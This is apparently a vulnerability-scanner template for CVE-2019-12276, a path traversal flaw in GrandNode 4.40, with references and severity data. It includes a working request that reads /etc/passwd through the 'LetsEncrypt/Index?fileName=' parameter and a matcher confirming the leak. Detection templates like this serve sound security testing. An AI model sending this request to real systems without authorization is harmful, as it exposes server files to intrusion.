id: CVE-2019-12276

info:
  name: GrandNode 4.40 - Path Traversal
  author: daffainfo
  severity: high
  description: Path Traversal vulnerability in Controllers/LetsEncryptController.cs in LetsEncryptController in GrandNode 4.40 allows remote, unauthenticated attackers to retrieve arbitrary files on the web server via specially crafted LetsEncrypt/Index?fileName= HTTP requests. A patch for this issue was made on 2019-05-30 in GrandNode 4.40.
  reference:
    - https://security401.com/grandnode-path-traversal/
    - https://www.cvedetails.com/cve/CVE-2019-12276
    - https://grandnode.com
    - https://github.com/grandnode/grandnode
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-12276
    cwe-id: CWE-22
  tags: cve,cve2019,lfi

requests:
  - method: GET
    path:
      - "{{BaseURL}}/LetsEncrypt/Index?fileName=/etc/passwd"
    headers:
      Connection: close

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200